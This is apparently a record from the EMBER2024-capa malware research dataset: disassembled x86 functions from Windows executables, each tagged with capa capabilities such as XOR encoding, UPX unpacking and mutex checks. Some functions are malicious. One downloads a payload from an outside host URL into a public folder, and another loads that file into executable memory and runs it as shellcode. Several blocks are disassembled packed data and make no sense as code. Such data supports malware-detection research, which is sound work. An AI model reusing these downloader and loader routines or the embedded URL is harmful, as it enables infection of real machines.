joyce8/EMBER2024-capa huggingface dataset:
Function at 0x427c60
Capabilities:
Parse pe header

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
push 0xffffffffffffffff
mov esi, ecx
push 0
push ebx
lea ecx, [esi + 0x18]
call fcn.004014e0
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
adc al, 0x50
push ecx
lea edi, [esi + 8]
push edi
push ebx
call fcn.00427a90
add esp, 0x10
test al, al
mov byte [esi + 4], al
je 0x427cd2
mov ecx, dword [edi + 4]
test ecx, ecx
jne 0x427c9f
xor eax, eax
jmp 0x427ca4
mov eax, dword [edi + 8]
sub eax, ecx
cmp eax, 0x40
mov ecx, dword [esi + 0xc]
jb 0x427cd2
cmp word [ecx], 0x5a4d
jne 0x427cd2
mov edx, dword [ecx + 0x3c]
lea edi, [edx + 0xf8]
cmp eax, edi
jb 0x427cd2
cmp dword [edx + ecx], 0x4550
jne 0x427cd2
push ecx
lea ecx, [esi + 0x34]
call fcn.004279b0
mov al, byte [esi + 4]
pop edi
pop esi
pop ebx
ret 0xc

Function at 0x427ce0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x47aea6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [esi], 0x49ade4
mov dword [esp + 4], esi
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x30], 0xf
mov dword [esi + 0x2c], eax
mov dword [esp + 0x10], eax
mov byte [esi + 0x1c], al
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], eax
mov eax, dword [esp + 0x20]
push eax
push ecx
push edx
mov ecx, esi
mov byte [esp + 0x1c], 1
call fcn.00427c60
mov ecx, dword [esp + 8]
mov byte [esi + 4], al
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 0xc
Function at 0x401089
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
call 0x401089
pop ecx
push 0x8b04c483
inc ebp
or al, 0x8b
dec ebp
or byte [ebx + 0x4598d10], cl
mov dword [ecx], edx
mov edi, dword [eax]
lea esi, [eax + 4]
mov dword [ebp + 0xc], ebx
xor ecx, ecx
sub ebx, esi
mov eax, dword [esi]
add esi, 4
mov edx, eax
sub eax, ecx
xor edx, edi
add eax, edi
mov edi, ecx
mov dword [ebx + esi - 4], edx
imul edi, ecx
xor eax, edi
inc ecx
cmp ecx, 7
mov edi, eax
jl 0x4010a5
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0x4e4e4f4b
je 0x4010d7
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
jmp 0x4010db
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret

Function at 0x401126
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
call 0x401126
push 0x8b04c483
inc ebp
or byte [ebp + 0x5e0375c0], al
pop ebp
ret

Function at 0x41a550
Capabilities:
Encode data using xor

Disassembly:
loope 0x41a52b
test byte [eax + edx - 0x48], 0xba
mov byte [0x2134795d], al
cmp al, byte [ebx + ebp + 0x38]
cmc
mov dh, 0x21
cwde
stc
sar dword [ebx], cl
or dword [edx - 0x22cbba3d], edx
dec ecx
enter 0x1b8d, 0x6e
mov esp, 0x7441e222
adc al, 0x2f
inc edi
xchg esp, eax
jbe 0x41a5df
adc ch, byte [ebp - 0x512e3ef7]
jle 0x41a527
push ebx
inc edi
insd dword es:[edi], dx
mov al, byte [0x3b934fdb]
aaa
add dword [ecx - 0x14], ebp
mov ecx, 0xa96293b9
invalid
cmc
sub edx, edx
retf

Function at 0x42223c
Capabilities:
Encode data using xor

Disassembly:
add dword [ebx], edi
push esi
xor eax, 0x4e9206a9
invalid

Function at 0x423010
Capabilities:
Encode data using xor

Disassembly:
xchg esp, edi
push cs
imul esi, esi, 0x54705371
mov ah, 0x1a
sahf
sbb eax, 0x161962fb
push ss
or ecx, edx
xchg edx, eax
idiv byte [0x83fed0d7]
test dword [esi], edx
pop edx
mov ch, bh
sub al, 0x93
xchg ecx, eax
in eax, dx
jb 0x423028
push es
dec ebx
add dword [ecx + 0x4d], ecx
mov ah, 6
pop es
cmpsb byte [esi], byte es:[edi]
sub byte [esi], dh
loopne 0x423099
jmp 0x423070
mov eax, dword [0x996f1b93]
cdq
pop es
xchg ecx, eax
jno 0x42306c
xchg ebx, eax
or al, 0x95
dec ebx
invalid
imul ebp, esi, 0xffffffdc
and al, 0x5c
imul edi, ecx, 0x1a
xchg byte [eax - 0x5559204a], cl
invalid
Function at 0x401000
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.6246464
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401036
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push 0
push 0x402ba0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xcdfe600
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401055

Function at 0x401850
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x401875
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0x4018e8
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x4018aa
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0x4018dd
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0x4018db
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0x4018a1
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x40186c
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret
Function at 0x4d32d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x53000]
push edi
or ebp, 0xffffffff
jmp 0x4d32f2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4d32f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d32e8
mov eax, 1
add ebx, ebx
jne 0x4d330b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4d331c
jne 0x4d333b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d333b
dec eax
add ebx, ebx
jne 0x4d3328
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4d3300
add ebx, ebx
jne 0x4d3337
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4d338d
xor ecx, ecx
sub eax, 3
jb 0x4d3353
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4d33c2
sar eax, 1
mov ebp, eax
jmp 0x4d335e
add ebx, ebx
jne 0x4d335e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d332c
inc ecx
add ebx, ebx
jne 0x4d336c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d332c
add ebx, ebx
jne 0x4d3379
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4d336e
jne 0x4d338a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4d336e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4d33ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4d339e
jmp 0x4d32ee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4d33ac
add edi, ecx
jmp 0x4d32ee
pop esi
mov edi, esi
mov ecx, 0x234c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4d33ca
cmp byte [edi], 0x11
jne 0x4d33ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4d33cf
lea edi, [esi + 0xd0000]
mov eax, dword [edi]
or eax, eax
je 0x4d3447
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xdb89c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xdb9b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4d33fc
mov ecx, edi
jns 0x4d342b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xdb9b8]
or eax, eax
je 0x4d3441
mov dword [ebx], eax
add ebx, 4
jmp 0x4d3419
call dword [esi + 0xdb9c8]
mov ebp, dword [esi + 0xdb9bc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4d347b
sub esp, 0xffffff80
jmp 0x44d4c1
Function at 0x9b62e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x48c000]
push edi
or ebp, 0xffffffff
jmp 0x9b6302
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x9b6309
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9b62f8
mov eax, 1
add ebx, ebx
jne 0x9b631b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x9b632c
jne 0x9b634b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9b634b
dec eax
add ebx, ebx
jne 0x9b6338
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x9b6310
add ebx, ebx
jne 0x9b6347
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x9b639d
xor ecx, ecx
sub eax, 3
jb 0x9b6363
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x9b63d2
sar eax, 1
mov ebp, eax
jmp 0x9b636e
add ebx, ebx
jne 0x9b636e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9b633c
inc ecx
add ebx, ebx
jne 0x9b637c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9b633c
add ebx, ebx
jne 0x9b6389
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x9b637e
jne 0x9b639a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x9b637e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x9b63bc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x9b63ae
jmp 0x9b62fe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x9b63bc
add edi, ecx
jmp 0x9b62fe
pop esi
mov edi, esi
mov ecx, 0x12ea0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x9b63da
cmp byte [edi], 0x8a
jne 0x9b63da
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x9b63df
lea edi, [esi + 0x5b2000]
mov eax, dword [edi]
or eax, eax
je 0x9b644e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7204c8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7205e4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x9b640c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7205ec]
or eax, eax
je 0x9b6448
mov dword [ebx], eax
add ebx, 4
jmp 0x9b6429
call dword [esi + 0x7205e8]
mov ebp, dword [esi + 0x7205f0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x9b6482
sub esp, 0xffffff80
jmp 0x7b52f4
Function at 0x4011be
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x80
push 4
push esi
push 1
push 0x80000000
push str.C:UsersPublicDocumentslogin.cq
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402da1
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
lea ebp, [esp - 0x1004]
mov eax, 0x1004
call fcn.00405780
push 0xffffffffffffffff
push 0x415bda
mov eax, dword fs:[0]
push eax
sub esp, 0xb4
mov eax, dword [0x41b718]
xor eax, ebp
mov dword [ebp + 0x1000], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.Download
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x402e9a
push ebx
push 0x80000000
push ebx
push ebx
push str.http:__bcuuq.cn_index_index_id10
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x402e91
push 1
push 0x40
push 0x20
push str.C:UsersPublicDocumentslogin.cq
lea ecx, [ebp - 0xc0]
call fcn.00402c8d
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x68], ebx
je 0x402e79
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, 0x1000
jmp 0x402e5c
cmp dword [ebp - 0x14], ebx
jbe 0x402e6e
push ebx
push dword [ebp - 0x14]
lea eax, [ebp]
push eax
lea ecx, [ebp - 0xc0]
call fcn.00402515
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp]
push eax
push dword [ebp - 0x10]
call esi
test eax, eax
jne 0x402e44
lea ecx, [ebp - 0xc0]
call fcn.00402bfe
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc0]
call fcn.00402d68
push dword [ebp - 0x18]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x1000]
xor ecx, ebp
call fcn.004049fc
add ebp, 0x1004
leave
ret

Function at 0x4049fc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41b718]
jne 0x404a06
repz ret
jmp fcn.004095dc
Function at 0x411d5d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41b718]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00408fa0
and dword [ebp - 0x14], 0
cmp dword [0x41d5c4], 0
mov dword [ebp - 0x18], eax
jne 0x411e10
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x411eb8
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x411eb8
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41d5c4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41d5c8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41d5cc], eax
call edi
push eax
call esi
mov dword [0x41d5d4], eax
test eax, eax
je 0x411e10
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41d5d0], eax
mov eax, dword [0x41d5d0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x411e69
cmp dword [0x41d5d4], ecx
je 0x411e69
push eax
call esi
push dword [0x41d5d4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x411e69
test ebx, ebx
je 0x411e69
call edi
test eax, eax
je 0x411e60
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x411e60
test byte [ebp - 8], 1
jne 0x411e69
or dword [ebp + 0x10], 0x200000
jmp 0x411e9c
mov eax, dword [0x41d5c8]
cmp eax, dword [ebp - 0x18]
je 0x411e9c
push eax
call esi
test eax, eax
je 0x411e9c
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x411e9c
mov eax, dword [0x41d5cc]
cmp eax, dword [ebp - 0x18]
je 0x411e9c
push eax
call esi
test eax, eax
je 0x411e9c
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41d5c4]
call esi
test eax, eax
je 0x411eb8
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x411eba
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004049fc
leave
ret
Function at 0x401d11
Capabilities:
Clear file content
Get common file path

Disassembly:
sub esp, 0x800
push esi
push edi
xor esi, esi
xor edi, edi
cmp edi, 0xacc
jge 0x401d32
push esi
call dword [sym.imp.USER32.dll_SetClipboardViewer]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp edi, 0x45be411
jg 0x401d4c
inc edi
cmp edi, 0x3330601
jl 0x401d1d
cmp dword [0x20f588c], 0x400
jne 0x401d85
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
call dword [sym.imp.USER32.dll_GetCursorPos]
push esi
call fcn.00404481
push esi
call fcn.0040482d
push esi
push esi
call fcn.00404b2e
push esi
call fcn.00404ba0
add esp, 0x14
xor edi, edi
cmp edi, 0x16c76
jge 0x401d97
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_LocalCompact]
cmp edi, 0x12e5c52
jg 0x401dbd
inc edi
cmp edi, 0x3003f
jl 0x401d87
mov eax, dword [0x4a889c]
mov dword [0x20f588c], eax
call fcn.00401a58
mov edi, 0x3078f
cmp dword [0x20f588c], 0x51f
jne 0x401de9
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
dec edi
jne 0x401dd1
pop edi
xor eax, eax
pop esi
add esp, 0x800
ret 0x10

Function at 0x402957
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x4a1cfd
call fcn.004a1b78
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.00403714
xor edi, edi
push 4
mov dword [ebp - 4], edi
call fcn.00404baf
mov ebx, eax
pop ecx
cmp ebx, edi
je 0x40299f
call fcn.004034c8
mov dword [ebx], eax
call fcn.00403287
mov ecx, eax
call fcn.004011a5
mov eax, ebx
jmp 0x4029a1
xor eax, eax
mov dword [esi + 0x38], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea ecx, [esi + 0x1c]
mov dword [esi + 0x24], ecx
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x2c]
mov dword [esi + 0x34], ecx
mov dword [eax], edi
mov eax, dword [esi + 0x24]
mov dword [eax], edi
mov eax, dword [esi + 0x34]
mov dword [eax], edi
mov eax, dword [esi + 0x10]
mov dword [eax], edi
mov eax, dword [esi + 0x20]
mov dword [eax], edi
mov eax, dword [esi + 0x30]
mov dword [eax], edi
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
pop edi
mov dword [esi], vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4

Function at 0x4056fa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a7354]
jne 0x405704
repz ret
jmp fcn.0040b43c
Function at 0x40fb31
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4a7354]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409b86
and dword [ebp - 0x14], 0
cmp dword [0x4b3a84], 0
mov dword [ebp - 0x18], eax
jne 0x40fbe4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40fc8c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40fc8c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4b3a84], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4b3a88], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4b3a8c], eax
call edi
push eax
call esi
mov dword [0x4b3a94], eax
test eax, eax
je 0x40fbe4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4b3a90], eax
mov eax, dword [0x4b3a90]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40fc3d
cmp dword [0x4b3a94], ecx
je 0x40fc3d
push eax
call esi
push dword [0x4b3a94]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40fc3d
test ebx, ebx
je 0x40fc3d
call edi
test eax, eax
je 0x40fc34
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40fc34
test byte [ebp - 8], 1
jne 0x40fc3d
or dword [ebp + 0x10], 0x200000
jmp 0x40fc70
mov eax, dword [0x4b3a88]
cmp eax, dword [ebp - 0x18]
je 0x40fc70
push eax
call esi
test eax, eax
je 0x40fc70
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40fc70
mov eax, dword [0x4b3a8c]
cmp eax, dword [ebp - 0x18]
je 0x40fc70
push eax
call esi
test eax, eax
je 0x40fc70
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4b3a84]
call esi
test eax, eax
je 0x40fc8c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40fc8e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004056fa
leave
ret
Function at 0x4034b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x48b088]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x234], edx
mov edx, 0x55818b2d
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x210], 0x5538d0f9
mov eax, dword [ebp - 0x210]
sub edx, eax
push ebx
mov ebx, dword [ebp + 0x18]
push esi
mov esi, dword [edx]
push edi
mov edi, ecx
add esi, 0x161d148d
call fcn.00403910
mov dword [ebp - 0x210], eax
test eax, eax
je 0x403514
lea ecx, [esi + esi]
mov esi, 0x4f5a1ba8
sub esi, ecx
jmp 0x40351e
lea eax, [esi + esi]
mov esi, 0x4f5a1bc0
sub esi, eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call fcn.00432dc2
mov edx, eax
add esp, 8
test edx, edx
jne 0x40355f
pop edi
pop esi
mov eax, 3
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00431ac5
mov esp, ebp
pop ebp
ret
add edx, 2
lea eax, [ebp - 0x20c]
mov ecx, edx
sub ecx, eax
mov eax, 0x104
sar ecx, 1
push esi
sub eax, ecx
push eax
push edx
call fcn.00437237
add esp, 0xc
test eax, eax
jne 0x403549
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
jne 0x4035d1
call esi
lea ecx, [eax - 2]
cmp ecx, 1
jbe 0x403681
push edi
push 0
push 0x47a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x4035eb
call esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00431ac5
mov esp, ebp
pop ebp
ret
test al, 0x10
je 0x4035aa
pop edi
pop esi
mov eax, 2
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00431ac5
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [ebp - 0x22c], 0x1000300
mov dword [ebp - 0x218], eax
lea edx, [ebp - 0x20c]
mov dword [ebp - 0x224], eax
mov word [ebp - 0x214], ax
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x220], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x21c], eax
mov ax, word [ebp + 0x10]
push ecx
push dword [ebp - 0x210]
mov word [ebp - 0x218], ax
mov ecx, edi
lea eax, [ebp - 0x22c]
push eax
call fcn.004036a0
add esp, 0xc
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x403677
pop edi
pop esi
mov eax, 0x42a
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00431ac5
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x216]
